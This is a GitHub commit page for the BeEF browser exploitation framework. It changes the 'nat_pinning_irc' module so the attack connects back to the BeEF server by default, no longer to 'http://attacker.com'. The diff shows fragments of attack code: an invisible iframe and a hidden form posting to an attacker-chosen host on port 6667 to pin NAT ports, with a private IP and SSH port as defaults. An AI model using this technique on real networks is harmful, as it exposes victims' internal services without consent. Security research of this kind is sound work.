Skip to content

Commit

Permalink
Merge pull request beefproject#729 from bmantra/master
Browse files Browse the repository at this point in the history
add default beef ip/host to connect back to
  • Loading branch information
bmantra committed Jul 25, 2012
2 parents 83f2950 + e299045 commit 7c7103b
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 2 deletions.
2 changes: 1 addition & 1 deletion modules/network/nat_pinning_irc/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ beef.execute(function() {

var myIframe = beef.dom.createInvisibleIframe();
var myForm = document.createElement("form");
var action = connectto + ":6667/"
var action = "http://" + connectto + ":6667/"

myForm.setAttribute("name", "data");
myForm.setAttribute("method", "post");
Expand Down
5 changes: 4 additions & 1 deletion modules/network/nat_pinning_irc/module.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,11 @@ def pre_send
end

def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")

return [
{'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'},
{'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host},
{'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'},
{'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'}
]
Expand Down

0 comments on commit 7c7103b

Please sign in to comment.